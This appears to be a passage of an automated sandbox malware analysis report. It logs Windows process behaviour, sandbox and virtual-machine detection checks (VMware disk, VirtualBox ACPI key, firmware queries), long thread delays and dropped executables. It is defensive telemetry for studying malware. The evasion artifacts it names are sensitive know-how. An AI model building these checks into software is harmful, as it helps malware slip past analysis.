Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\svchost.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	System information queried: FirmwareTableInformation

Tries to delay execution (extensive OutputDebugStringW loop)

Source: C:\Windows\System32\svchost.exe

Section loaded: OutputDebugStringW count: 128

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: PZ3hKWPffUrXuh6Gjn77Ivv1.exe, 00000008.00000002.1742610833.000000000300E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ASWHOOK

Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Memory allocated: 233C0730000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: F10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2960000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 28A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 6480000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 7480000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 7920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 8920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 8BD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 9BD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 78E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 9210000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: A210000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: B210000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: C210000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 78E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 6480000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 9210000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\svchost.exe	File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599889	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599775	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599450	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599336	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598789	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598527	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598420	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597982	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596926	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596757	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596655	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596529	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596122	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595669	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595118	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595013	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594787	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594655	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594544	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594108	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 593885	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 593781	Jump to behavior
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Thread delayed: delay time: 300000
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Thread delayed: delay time: 300000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4850	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5010	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Window / User API: threadDelayed 3982	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Window / User API: threadDelayed 5750	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1593
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 423

Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\Documents\SimpleAdobe\wPxPcov2_iRQt91bGzfyQLn0.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\Documents\SimpleAdobe\IzXa7ArplEUILx8JLGVvIms1.exe	Jump to dropped file
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\360TS_Setup.exe (copy)	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\default_s[1].exe	Jump to dropped file
